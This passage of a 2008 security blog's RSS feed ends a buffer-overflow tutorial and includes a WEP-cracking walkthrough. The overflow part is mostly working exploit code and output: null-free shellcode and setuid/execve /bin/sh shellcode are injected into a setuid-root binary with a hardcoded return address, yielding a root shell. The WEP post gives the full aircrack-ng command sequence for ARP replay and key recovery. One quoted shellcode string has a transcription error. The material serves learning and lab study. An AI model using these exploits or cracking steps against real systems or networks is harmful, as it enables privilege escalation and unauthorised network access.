<p>looks good but&#8230;.there are 0&#215;00 in that shellcode which means it can be put in a string! <img src='http://dev.cubedsecurity.co.uk/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>so we have to remove all the NULL characters out of the code while obviously making sure its still valid ASM and does what we want it too. There are quite a few tricks to do this, but most are probably out of scope of this tutorial&#8230;lets try this:</p>
<pre>
tim@blue:~/devel/buffer_overflows_101/shell/exit$ cat exit2.asm
SEGMENT.text
        xor eax, eax    ; zeros eax
        mov al, 1       ; put 1 in the lowest 8bits of eax
        xor ebx, ebx    ; zeros ebx
        mov bl, 123     ; put 123 in the lowest 8bits of ebx
        int 80h         ; int 80 (enter syscall)

tim@blue:~/devel/buffer_overflows_101/shell/exit$ nasm -felf exit2.asm
tim@blue:~/devel/buffer_overflows_101/shell/exit$ gcc exit2.o -o exit2 -nostartfiles -nostdlib
/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060
tim@blue:~/devel/buffer_overflows_101/shell/exit$ ./exit2
tim@blue:~/devel/buffer_overflows_101/shell/exit$ echo $?
123
tim@blue:~/devel/buffer_overflows_101/shell/exit$ objdump -d exit2

exit2:     file format elf32-i386

Disassembly of section .text:

08048060 <segment.text>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       b0 01                   mov    $0x1,%al
 8048064:       31 db                   xor    %ebx,%ebx
 8048066:       b3 7b                   mov    $0x7b,%bl
 8048068:       cd 80                   int    $0x80
</segment.text></pre>
<p>So our shellcode is now &#8220;\x31\xc0\xb0\x01\x31\xdb\x3b\x7b\xcd\x80&#8243; &#8211; lets test it!</p>
<p>So we originally had 260 bytes of overflow then EIP, and our shellcode is 10 bytes&#8230;so we want 10 bytes of shellcode followed by 250 of stuff and finally EIP on the end.</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "\x31\xc0\xb0\x01\x31\xdb\xb3\x7b\xcd\x80" . "A"x250 . "\x88\xf8\xff\xbf"'`
before call
argument was: 1ï¿½ï¿½1Û³{Í€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAï¿½
tim@blue:~/devel/buffer_overflows_101$ echo $?
123
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>w00p!!</p>
<p>OK so we&#8217;re not 260 bytes of machine code to play with &#8211; what can we do?</p>
<p>A quick look at mil0worm (http://www.milw0rm.com/shellcode/2042) nice setuid and execve /bin/sh in 30 bytes.</p>
<pre>
"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"</pre>
<p>See here we actually create the sting on the stack &#8211; so our code is truly position independent (without playing call-ret games). So lets give it a go&#8230; (260-30=230)</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "A"x230 . "\x88\xf8\xff\xbf"'`
before call
argument was: jX1ï¿½Í€j
                     Xï¿½Rh//shh/binï¿½ï¿½RSï¿½ï¿½Í€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAï¿½
$ id
uid=1001(tim) gid=1001(tim) groups=110(admin),1001(tim)
$ exit
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>the code is actually doing a setuid(0) &#8211; which isn&#8217;t working because the file is owned by tim and not root&#8230;.</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ sudo chown root.root vuln &amp;&amp; sudo chmod u+s vuln
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "A"x230 . "\x88\xf8\xff\xbf"'`
before call
argument was: jX1ï¿½Í€j
                     Xï¿½Rh//shh/binï¿½ï¿½RSï¿½ï¿½Í€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAï¿½
# id
uid=0(root) gid=1001(tim) groups=110(admin),1001(tim)
# exit
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>And now I&#8217;ve got a privilege escalation sitting on my desktop &#8211; I&#8217;ll leave you to play with stuff.<br />
Feel free to ask questions/corrections here and I&#8217;ll do my best to answer them. Hope you enjoyed my Buffer Overflow 101 walk though.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.cubedsecurity.co.uk/blog/?feed=rss2&amp;p=7</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cracking WEP with packet injection on the macbook!</title>
		<link>http://dev.cubedsecurity.co.uk/blog/?p=6</link>
		<comments>http://dev.cubedsecurity.co.uk/blog/?p=6#comments</comments>
		<pubDate>Sun, 03 Feb 2008 13:53:21 +0000</pubDate>
		<dc:creator>Tim</dc:creator>
				<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://dev.cubedsecurity.co.uk/blog/?p=6</guid>
		<description><![CDATA[Just thought I&#8217;d share my experience with getting packet inject working on the macbook, using the internal wireless card (AirPort Extreme). 
 
So why would you want to inject packets into another  wireless network??
&#160;
So to break WEP we need IVs&#8230;&#8230;&#8230;.
&#160;
â€œ With only 24 bits, WEP eventually uses the same IV for different data packets. ]]></description>
			<content:encoded><![CDATA[<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch">Just thought I&#8217;d share my experience with getting packet inject working on the macbook, using the internal wireless card (AirPort Extreme). </font></p>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch"> </font></p>
<p class="western" style="margin-bottom: 0cm; text-decoration: none"><font face="Courier 10 Pitch"><strong>So why would you want to inject packets into another  wireless network??</strong></font></p>
<p class="western" style="margin-bottom: 0cm">&nbsp;</p>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch">So to break WEP we need IVs&#8230;&#8230;&#8230;.</font></p>
<p class="western" style="margin-bottom: 0cm">&nbsp;</p>
<p class="western" style="margin-bottom: 0cm">â€œ<font face="Courier 10 Pitch"> With only 24 bits, WEP eventually uses the same IV for different data packets. For a large busy network, this reoccurrence of IVs can happen within an hour or so. This results in the transmission of frames having keystreams that are too similar. If a hacker collects enough frames based on the same IV, the individual can determine the shared values among themâ€ [<a href="http://www.wi-fiplanet.com/tutorials/article.php/1368661">http://www.wi-fiplanet.com/tutorials/article.php/1368661</a>]</font></p>
<p class="western" style="margin-bottom: 0cm">&nbsp;</p>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch">So from the above article (very good read btw) you can see if we have enough IVs we can decrypt the traffic and calculate the PSK (Pre-Shared Key) for the given AP (Access Point). This is all well and good, but I could take a long time to gain enough traffic to perform this type of attack, this is where packet injection comes to the rescue! Using packet injection we can create new traffic on the network and therefore give us more IVs!</font></p>
<p class="western" style="margin-bottom: 0cm">&nbsp;</p>
<p class="western" style="margin-bottom: 0cm; text-decoration: none"><font face="Courier 10 Pitch"><strong>So what do we inject?</strong></font></p>
<p class="western" style="margin-bottom: 0cm; text-decoration: none">&nbsp;</p>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch">There are a few options, but my favourite is an ARP reply (and is probably the simplest to understand). If you don&#8217;t know what ARP is or don&#8217;t really understand it try read the RFC [<a href="ftp://ftp.isi.edu/in-notes/rfc826.txt">ftp://ftp.isi.edu/in-notes/rfc826.txt</a>] or maybe the shorter ARP tutorial [<a href="http://www.inetdaemon.com/tutorials/lan/arp.shtml">http://www.inetdaemon.com/tutorials/lan/arp.shtml</a>].</font></p>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch">So while sniffing the encrypted network we look out for a packet the same size as a ARP packet, we can&#8217;t read it because its encrypted â€“ but we can be quite sure its a ARP packet due to its size (could even check for a response packet of the correct size to just to make sure). Once we have that packet we can fire it back into the network (replay) which will be answered by the appropriate machine on the subnet, therefore producing more traffic and IVs. We can just keep replaying the ARP request to generate loads of IVs!!</font></p>
<p class="western" style="margin-bottom: 0cm">&nbsp;</p>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch"><strong>How how how?</strong></font></p>
<p class="western" style="margin-bottom: 0cm">&nbsp;</p>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch">I don&#8217;t think you&#8217;re have much luck trying this on OSX, Linux is your friend when it comes to this kind&#8217;a stuff. Try using BackTrack3 â€“ its a livecd full of security tools, very nice. Download the CD or the USB image from <a href="http://www.remote-exploit.org/backtrack_download.html">http://www.remote-exploit.org/backtrack_download.html</a> â€“ make sure you get BackTrack 3, I&#8217;m using BackTrack 3 Beta â€“ 14-12-2007 (CD). Write the CD out with your favourite app, DiskUtil or cdrecord depending on your OS. Once you&#8217;ve got the CD â€“ boot off it!</font></p>
<p class="western" style="margin-bottom: 0cm">&nbsp;</p>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch">Once you&#8217;ve got your desktop up (assuming you picked a graphical frontend) open a bunch of consoles (you&#8217;ll need at least 3).</font></p>
<p class="western" style="margin-bottom: 0cm">&nbsp;</p>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch">See what&#8217;s out there&#8230;..</font></p>
<pre>
bt ~ # ifconfig ath0 up
bt ~ # iwlist ath0 scan
          Cell 01 - Address: 00:11:F5:99:99:F1
          ESSID:"BTVOYAGER9999-F1"
          Mode:Master
          Frequency:2.412 GHz (Channel 1)
          Quality=4/70  Signal level=-91 dBm  Noise level=-95 dBm
          Encryption key:on
          Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
          24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s
          12 Mb/s; 48 Mb/s
          Extra:bcn_int=100
          Cell 02 - Address: 00:0E:2E:0D:FF:F1
          ESSID:"default"
          Mode:Master
          Frequency:2.462 GHz (Channel 11)
          Quality=4/70  Signal level=-91 dBm  Noise level=-95 dBm
...
...</pre>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch"><br />
So we&#8217;re going to go after BTVOYAGER9999-F1 (yes I&#8217;ve changed the MAC and SSID), so lets tune to card to the right channel. The &#8216;1&#8242; on the end of the second command is the channel to tune to.<br />
</font></p>
<pre>
bt ~ # airmon-ng stop ath0
...
bt ~ # airmon-ng start wifi0 1
...</pre>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch"><br />
We should now be only listening to channel 1 â€“ otherwise we&#8217;d be hopping between channels and wouldn&#8217;t get as much data. Now we need to start sniff the network traffic. The command arguments are quite obvious (-c is the SSID, &#8211;bssid is the AP MAC address and -w the output file)&#8230;<br />
</font></p>
<pre>
bt ~ # airodump-ng -c BTVOYAGER9999-F1 â€“bssid 00:11:F5:99:99:F1 -w results ath0</pre>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch"><br />
You&#8217;re now sniffing all the packets you can see. On the bottom of the screen you should see all the clients we&#8217;ve seen so far. These are important because at the moment we&#8217;re just passively sniffing the network and it could take ages to get enough traffic â€“ so we&#8217;re going to inject some ARP packets. So once you see a valid client on the network&#8230;one another console (-3 mean perform an ARP reply, -b is the AP MAC address and -h is the clients MAC address)<br />
</font></p>
<pre>
bt ~ # aireplay-ng -3 -b 00:11:F5:99:99:F1 -h 00:C0:01:D0:0D:01 ath0</pre>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch"><br />
aireplay-ng should now be listening for ARP packets and once one comes along it will replay that packet to generate loads of traffic! &#8211; its quite obvous when I starts injecting packets â€“ just watch the DATA column on the airodump-ng console!!</font></p>
<p><font face="Courier 10 Pitch">So new we&#8217;re getting loads of packets â€“ lets try and crack the PSK!<br />
</font></p>
<pre>
bt ~ # aircrack-ng results-01.cap</pre>
<p class="western" style="margin-bottom: 0cm"><font face="Courier 10 Pitch"><br />
aircrack will try and crack the PSK from the packet capture â€“ if there&#8217;s not enough IVs yet it will wait until you have somemore until it manages to crack it. It should responsibly quickly present you with the PSK!! (completely depending on how many packets/sec your getting.)</font></p>
<p><font face="Courier 10 Pitch">Hope that gets you started&#8230;feel free to post questions..<br />
</font></p>
]]></content:encoded>
			<wfw:commentRss>http://dev.cubedsecurity.co.uk/blog/?feed=rss2&amp;p=6</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Welcome to devBLOG!</title>
		<link>http://dev.cubedsecurity.co.uk/blog/?p=4</link>
		<comments>http://dev.cubedsecurity.co.uk/blog/?p=4#comments</comments>
		<pubDate>Sun, 03 Feb 2008 12:29:53 +0000</pubDate>
		<dc:creator>Tim</dc:creator>
				<category><![CDATA[chat]]></category>

		<guid isPermaLink="false">http://dev.cubedsecurity.co.uk/blog/2008/02/03/welcome-to-devblog/</guid>
		<description><![CDATA[Hi all,
I&#8217;ve just put up this site to give me somewhere to post my technical escapades too. I&#8217;m planning on putting a couple of tutorials/reviews up here soon (I&#8217;ve got a couple just waiting for me to write them up). So hopefully I&#8217;ll actually get around to doing that soon, and there might actually be ]]></description>
			<content:encoded><![CDATA[<p>Hi all,</p>
<p>I&#8217;ve just put up this site to give me somewhere to post my technical escapades too. I&#8217;m planning on putting a couple of tutorials/reviews up here soon (I&#8217;ve got a couple just waiting for me to write them up). So hopefully I&#8217;ll actually get around to doing that soon, and there might actually be something useful on this site!</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.cubedsecurity.co.uk/blog/?feed=rss2&amp;p=4</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
